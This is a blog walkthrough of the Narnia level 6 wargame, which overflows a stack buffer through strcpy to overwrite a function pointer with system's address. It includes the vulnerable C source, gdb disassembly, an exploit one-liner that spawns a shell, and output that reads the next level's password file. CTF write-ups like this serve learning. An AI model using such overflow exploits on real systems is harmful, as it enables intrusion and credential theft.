Narnia: Level 6

We all have to start somewhere

Posted on May 17, 2017, 11:42 p.m.

Level 6 has a comparatively simple solution, but the reasons why my exploit works are interesting. The main concept contained in this challenge is overflowing function pointers.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
    char b1[8], b2[8];
    int  (*fp)(char *)=(int(*)(char *))&puts, i;

    if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

    /* clear environ */
    for(i=0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));
    /* clear argz    */
    for(i=3; argv[i] != NULL; i++)
        memset(argv[i], '\0', strlen(argv[i]));

    strcpy(b1,argv[1]);
    strcpy(b2,argv[2]);
    //if(((unsigned long)fp & 0xff000000) == 0xff000000)
    if(((unsigned long)fp & 0xff000000) == get_sp())
        exit(-1);
    fp(b1);

    exit(1);
}

After the variables are defined and the number of arguments are checked the program zeros out both the environment variables and any arguments except the zeroth, first and second arguments. strcpy is then used without any length checks to copy the first argument to b1, which is the point in the program which we will exploit.

In order to understand my solution to this challenge it's necessary to look at the assembly. In previous levels we have seen that local variables are pushed onto the stack in the order they are defined, so that a buffer defined after another variable can overflow into that variable. This is not the case for this program.

narnia6@melinda:/narnia$ gdb -q narnia6
Reading symbols from narnia6...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048559 <+0>: push   %ebp
   0x0804855a <+1>: mov    %esp,%ebp
   0x0804855c <+3>: push   %ebx
   0x0804855d <+4>: and    $0xfffffff0,%esp
   0x08048560 <+7>: sub    $0x30,%esp
   0x08048563 <+10>:    movl   $0x80483f0,0x28(%esp)
   ...

Line 7 of main allocates 48 bytes on the stack for local variables. Running info symbol 0x80483f0 we can see that the address of fp, which points to puts, is then placed 8 bytes away from the saved base pointer. Moving further down the assembly we see the following.

...
0x08048657 <+254>:  mov    0xc(%ebp),%eax
0x0804865a <+257>:  add    $0x4,%eax
0x0804865d <+260>:  mov    (%eax),%eax
0x0804865f <+262>:  mov    %eax,0x4(%esp)
0x08048663 <+266>:  lea    0x20(%esp),%eax
0x08048667 <+270>:  mov    %eax,(%esp)
0x0804866a <+273>:  call   0x80483e0 <strcpy@plt>
...

These lines correspond to the code strcpy(b1,argv[1]);. The address of the argv array is first moved into eax. The second element of argv is then accessed. This second element is a pointer to a pointer to a string (the first argument to the program). This element is dereferenced and the string pointer is moved to a 4 byte offset from esp. The address of esp+32 is then assigned to the address pointed to by esp. esp+32 (the address of b1) will be where strcpy will write to.

The interesting part about the above lines is that b1 is actually stored higher up the stack than fp (esp+32 compared to esp+40), even though b1 is declared before fp. Hence we can overflow b1 into fp.

The plan will be to overflow b1 to overwrite the function pointer fp with the address of system. Since fp is called with b1 as its argument, this will run system(b1) instead of puts(b1). We can make sure that b1 starts with sh;# which will open our shell. We append # to ensure that any garbage after our sh; command is treated as a comment. We now need to find the address of system.

Now, system is part of stdlib.h, which is included at the top of the code. stdlib.h is part of libc. By running ulimit in the terminal we can see that there is no limit on stack size and hence libc randomisation is disabled, since narnia6 is a 32-bit binary (we can see this in the output of file narnia6). Therefore the address of system is at a deterministic location in memory and so to find its address we can simply run the program in gdb (which will load stdlib.h), break on the first line of main and print the address of system.

narnia6@melinda:/narnia$ gdb -q narnia6
Reading symbols from narnia6...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x804855d
(gdb) r
Starting program: /games/narnia/narnia6

Breakpoint 1, 0x0804855d in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e60e70 <system>

We now have enough information to write our exploit. From our previous analysis we know that the addresses of b1 and fp are 8 bytes apart.

narnia6@melinda:/narnia$ ./narnia6 $(python -c 'print "sh;#" + "A"*4 + "\x70\x0e\xe6\xf7"' ) B
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
ahkiaziphu
$

Comments


Latest Posts


Archive

2017

Categories